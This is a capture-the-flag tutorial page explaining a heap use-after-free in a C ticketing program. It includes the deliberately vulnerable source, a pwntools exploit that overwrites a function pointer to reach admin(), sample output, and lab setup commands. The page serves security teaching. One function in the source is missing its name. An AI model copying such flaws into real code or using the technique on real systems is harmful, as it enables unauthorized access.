> For the complete documentation index, see [llms.txt](https://www.ctfrecipes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ctfrecipes.com/pwn/heap-exploitation/use-after-free/challenge-example.md).

# Challenge example

The exploitation of a [**Use After Free**](/pwn/heap-exploitation/use-after-free.md) **(UAF)** depend on the program implementation. With this example, the attacker can exploit an UAF in order to jump to an arbitrary function : "admin"&#x20;

## Source code

The program had 2 files :&#x20;

{% tabs %}
{% tab title="chall.c" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include "ticket.h"

char login(void){
    char username[16] = "";
    char password[16] = "";
    char secret[16] = "";
    char c;

    FILE *fp = fopen(".passwd", "r");
    fread(secret, 1, 15, fp);
    fclose(fp);
    secret[15] = '\0';

    printf("Username: ");
    fgets(username, sizeof(username), stdin);
    fflush(stdout);
    if (username[strlen(username)-1] == '\n'){
        username[strlen(username) -1] = '\0';
    }
    username[strlen(username)] = '\0';
    printf("Password: ");
    fflush(stdin);
    fgets(password, sizeof(password), stdin);
    if (password[strlen(password)-1] == '\n'){
        password[strlen(password) -1] = '\0';
    }

    if (strcmp(password, secret) == 0 && strcmp(username, "admin") == 0) {
        return 1;
    } else {
        return 0;
    }
}

void admin(void){
    printf("Welcome Admin !\n");
    char i, c = 1;
    while(c){
        printf("What to do you want to do ?\n");
        printf("1 - List all tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Close ticket\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        scanf("%hhd", &i);
        printf("\e[1;1H\e[2J");
        switch (i) {
            case 0:
                c = 0;
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

void add_ticket(int *count, ticket **ticket_list){
    int i;
    if(*count > 4){
        printf("Error, ticket list is already full... \n");
        return;
    }
    for (i=(int)sizeof(ticket_list)-1;i>0;--i){
        ticket_list[i] = ticket_list[i-1];
    }
    ticket_list[0] = ticket_create();
    printf("ticket %p\n", ticket_list[*count]);
    *count = *count + 1;
}

void del_ticket(int *count, ticket **ticket_list){
    char buf[4];
    int id;
    ticket *tmp;
    printf("Index to remove :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    if (id < 0 || id >= *count) {
        printf("Out of bound!");
        return;
    }
    tmp = ticket_list[id];
    ticket_list[id] = ticket_list[*count-1];
    ticket_list[*count-1] = tmp;
    ticket_del(tmp);
    free(tmp);
    *count = *count-1;
}

void display_tickets(int *count, ticket **ticket_list){
    int id = 0;
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    for(id = 0; id<*count;++id){
        printf("id : %d\n", id);
        ticket_list[id]->display(ticket_list[id]);
    }
}

void (int *count, ticket **ticket_list){
    int id = 0;
    char buf[8];
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    printf("Index to read :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    printf("id : %d\n", id);
    if(id >= 0 && id < sizeof(ticket_list)){
        ticket_list[id]->display(ticket_list[id]);
    }
}

void guest(void){
    char buf[8];
    ticket *ticket_list[5];
    int count = 0;
    printf("Welcome guest.\n");
    char i, c = 1;
    while(c){
        printf("Press enter char to continue...");
        getchar();
        printf("\e[1;1H\e[2J");
        printf("What to do you want to do ?\n");
        printf("1 - Get current tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Create ticket\n");
        printf("4 - Delete ticket\n");
        printf("5 - Submit tickets\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        fgets(buf, sizeof(buf), stdin);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                display_tickets(&count, ticket_list);
                break;
            case '2':
                read_ticket(&count, ticket_list);
                break;
            case '3':
                add_ticket(&count, ticket_list);
                break;
            case '4':
                del_ticket(&count, ticket_list);
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

int main(void) {
    printf("\e[1;1H\e[2J");
    char userType = 0;
    printf("Welcome, please login.\n");
    userType = login();
    printf("\e[1;1H\e[2J");
    if (userType == 1) {
        admin();
    } else {
        guest();
    }
}

```

{% endtab %}

{% tab title="ticket.h" %}

```c
#ifndef THECTFRECIPES_CHALLENGES_TICKET_H
#define THECTFRECIPES_CHALLENGES_TICKET_H

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

typedef struct ticket {
    void (*display)();
    char title[24];
    char *content;
} ticket;

void display_ticket(ticket *this){
    int i = 0;
    int size = strlen(this->content);
    char line[33] = "+------------------------------+";
    char data[29] = "";
    line[32] = '\0';
    strcat(data,this->title);
    while(strlen(data) < sizeof(data)-1){
        strcat(data, " ");
    }
    data[28] = '\0';
    printf("%s\n",line);
    printf("| %s |\n",data);
    printf("%s\n",line);
    while(i < size){
        memcpy(data, &this->content[i], 28);
        while(strlen(data) < sizeof(data)-1){
            strcat(data, " ");
        }
        data[28] = '\0';
        printf("| %s |\n",data);
        i += 28;
    }
    printf("%s\n",line);
}

ticket* ticket_create(){
    char buf[8];
    int size;
    char title[24] = "";
    ticket *t = (ticket *)malloc(sizeof(ticket));

    t->display = display_ticket;
    fflush(stdin);
    fflush(stdout);
    printf("Title : ");
    fgets(title, sizeof(title),stdin);
    if (title[strlen(title)-1] == '\n'){
        title[strlen(title) -1] = '\0';
    }
    strcpy(t->title, title);
    printf("Ticker size :");
    fgets(buf, sizeof(buf),stdin);
    size = atoi(buf);
    t->content = (char *)malloc(size);
    if (!t->content) {
        printf("Allocation Error");
        exit(-1);
    }
    printf("Content :");
    fgets(t->content, size,stdin);
    if (t->content[strlen(t->content)-1] == '\n'){
        t->content[strlen(t->content) -1] = '\0';
    }
    return t;
}

void ticket_del(ticket *t){
    free(t->content);
    t->content = NULL;
}

#endif //THECTFRECIPES_CHALLENGES_TICKET_H

```

{% endtab %}
{% endtabs %}

{% hint style="info" %}
This application is likely a ticketing application.&#x20;

Guest user can create and submit ticket.&#x20;

Admin user can read all tickets from all users.&#x20;
{% endhint %}

Ths function `login` is here to authenticate a user and redirect him to the `guest` function is he isn't an admin, and `admin` if he is.&#x20;

As the password isn't know, the attacker will be sent into the `guest` function.&#x20;

### Guest

```c
void guest(void){
    char buf[8];
    ticket *ticket_list[5];
    int count = 0;
    printf("Welcome guest.\n");
    char i, c = 1;
    while(c){
        printf("Press enter char to continue...");
        getchar();
        printf("\e[1;1H\e[2J");
        printf("What to do you want to do ?\n");
        printf("1 - Get current tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Create ticket\n");
        printf("4 - Delete ticket\n");
        printf("5 - Submit tickets\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        fgets(buf, sizeof(buf), stdin);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                display_tickets(&count, ticket_list);
                break;
            case '2':
                read_ticket(&count, ticket_list);
                break;
            case '3':
                add_ticket(&count, ticket_list);
                break;
            case '4':
                del_ticket(&count, ticket_list);
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}
```

This function is a menu and ask fot the user what he want to do and then call a function depending on the user choice.

There is 2 interesting variables :&#x20;

* `ticket_list` that store the actual user's tickets **pointers**&#x20;
* `count` that store how many ticket the user have.

### display\_ticket()

```c
void display_tickets(int *count, ticket **ticket_list){
    int id = 0;
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    for(id = 0; id<*count;++id){
        printf("id : %d\n", id);
        ticket_list[id]->display(ticket_list[id]);
    }
}
```

This function will print all ticket counted for the users.

### read\_ticket()

```c
void read_ticket(int *count, ticket **ticket_list){
    int id = 0;
    char buf[8];
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    printf("Index to read :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    printf("id : %d\n", id);
    if(id >= 0 && id < sizeof(ticket_list)){
        ticket_list[id]->display(ticket_list[id]);
    }
}
```

This function will print a specific ticket&#x20;

{% hint style="warning" %}
Note: **There is no control about how many tickets the user had.**&#x20;

Then it might be possible to require to print the ticket 4 unless it doesn't exist... it this case the binary will probably crash...
{% endhint %}

### add\_ticket()

```c
void add_ticket(int *count, ticket **ticket_list){
    int i;
    if(*count > 4){
        printf("Error, ticket list is already full... \n");
        return;
    }
    for (i=(int)sizeof(ticket_list)-1;i>0;--i){
        ticket_list[i] = ticket_list[i-1];
    }
    ticket_list[0] = ticket_create();
    printf("ticket %p\n", ticket_list[*count]);
    *count = *count + 1;
}
```

This function will create a ticket using `ticket_create` and push in onto the `ticket_list` variable.

The `count` variable is then incremented.

### del\_ticket()

```c
void del_ticket(int *count, ticket **ticket_list){
    char buf[4];
    int id;
    ticket *tmp;
    printf("Index to remove :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    if (id < 0 || id >= *count) {
        printf("Out of bound!");
        return;
    }
    tmp = ticket_list[id];
    ticket_list[id] = ticket_list[*count-1];
    ticket_list[*count-1] = tmp;
    ticket_del(tmp);
    free(tmp);
    *count = *count-1;
}
```

This function will "remove" a ticket.&#x20;

In fact the ticket was **swap with the last element of the list** and then the `count` variable was decremented.&#x20;

The removed ticket pointer was freed at the end of the function.

{% hint style="info" %}
*Note*: The pointer wasn't remove from the list. So the user access to it, using the `read_ticket()` function, **there is a use after free**&#x20;
{% endhint %}

### struct ticket&#x20;

```c
typedef struct ticket {
    void (*display)();
    char title[24];
    char *content;
} ticket;
```

A ticket contains 3 variables :&#x20;

* a function pointer : **display()**  (8 bytes)
* a string **: title** ( 24 bytes )
* a pointer **: content** (8 bytes)

The total size of this struct is **40 bytes.**&#x20;

### ticket\_create()

```c
ticket* ticket_create(){
    char buf[8];
    int size;
    char title[24] = "";
    ticket *t = (ticket *)malloc(sizeof(ticket));

    t->display = display_ticket;
    fflush(stdin);
    fflush(stdout);
    printf("Title : ");
    fgets(title, sizeof(title),stdin);
    if (title[strlen(title)-1] == '\n'){
        title[strlen(title) -1] = '\0';
    }
    strcpy(t->title, title);
    printf("Ticker size :");
    fgets(buf, sizeof(buf),stdin);
    size = atoi(buf);
    t->content = (char *)malloc(size);
    if (!t->content) {
        printf("Allocation Error");
        exit(-1);
    }
    printf("Content :");
    fgets(t->content, size,stdin);
    if (t->content[strlen(t->content)-1] == '\n'){
        t->content[strlen(t->content) -1] = '\0';
    }
    return t;
}
```

This function will create a ticket in memory and return the pointer ( used by the `add_ticket()` function )&#x20;

* First, the function will allocate a chunk to store the struct at the size of the struct ( 40 bytes )&#x20;
* The title is ask for the user and stored into the memory
* **A content size is require and used to allocate chunk to store the ticket content**
* the content is ask and stored into the memory

{% hint style="info" %}
*Note*: The user can define the malloc size and then choose the type of [bin](/pwn/general-knowledge/operation-of-the-heap/bins.md) used.&#x20;
{% endhint %}

## Exploitation

Let's resume the important parts for the exploitation :&#x20;

* Tickets can be created and stored into a chunk of size 40 bytes
* Content can be created and stored into a **chunk of an arbitrary size**
* **Tickets have a function pointer used** to print itself contents and title with a specific format
* Tickets can be freed&#x20;
* Unless the ticket its freed, it can be accessible using the `read_ticket()`function.&#x20;

{% hint style="success" %}
The objective is to rewrite a Ticket struct memory using a memory reallocation and use it as a ticket (**Use after free**) to call the display function.

Because the ticket object will be overwrite, the display function can point to an arbitrary function... here it will be `admin()`
{% endhint %}

The process to do that is simple :&#x20;

* **Create a ticket with a content of size != 40**

A chunk will be allocated to store the ticket from a fastbin of size 40 and another from another bin to store the content.&#x20;

* **Create a second ticket with a content of size !=40**

As for the first ticket, a chunk of size 40 is allocated to store the ticket and another chuck from another bin to store the content.&#x20;

* **free the first ticket**

The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins

* **free the second ticket**

The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins

* **Create a third ticket with a content of size 40 with the targeted function address as value**

The chuck of the second ticket will be reallocated to this ticket and **the chunk for the first ticket will be reallocated for the content !**

* **Read the first ticket** ( placed at the end of the ticket\_list due to the swap when free )&#x20;

The first ticket has now the value of the content of the third ticket due to the reallocation. The `display` pointer is overwritten by the `admin()` address

Here is a python code to do that :&#x20;

```python
from pwn import *

elf = context.binary = ELF("./chall")

p = process()

target = p64(0x401742) # `admin()` function address

def login():
    p.recvline()
    p.sendline(b'a')
    p.recv(timeout=1)
    p.sendline(b'a')
    p.recv(timeout=1)


def choice(c):
    p.sendline()
    a = p.recvuntil(b"Exit")
    p.sendline(c)

def create(title, size, content):
    choice(b'3')
    p.sendline(title)
    p.sendline(size)
    p.sendline(content)

def delete(index):
    choice(b'4')
    p.sendline(index)


login()
# Create the first ticket with a content size = 80
create(b'title', b'80', b'test') 
# Create the second ticket with a content size = 80
create(b'title', b'80', b'test')

# Delete the first ticket
delete(b'0')
# Delete the second ticket
delete(b'0')

# Create a third ticket with a size = sizeof(ticket) 
create(b'exploit', b'40', target) 

# read the second ticket
choice(b'2')
p.sendline(b'2')

p.interactive()
p.close()

```

<pre class="language-bash"><code class="lang-bash">$ python3 exploit.py
[*] './chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './chall': pid 220
<strong>Welcome Admin !
</strong>What to do you want to do ?
1 - List all tickets
2 - Read ticket
3 - Close ticket
0 - Exit
Choice >
</code></pre>

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :&#x20;

```
docker pull thectfrecipes/pwn:use_after_free
```

Deploy the image using the followed command :&#x20;

```
docker run --name use_after_free -it --rm -d -p 3000:3000 thectfrecipes/pwn:use_after_free
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```
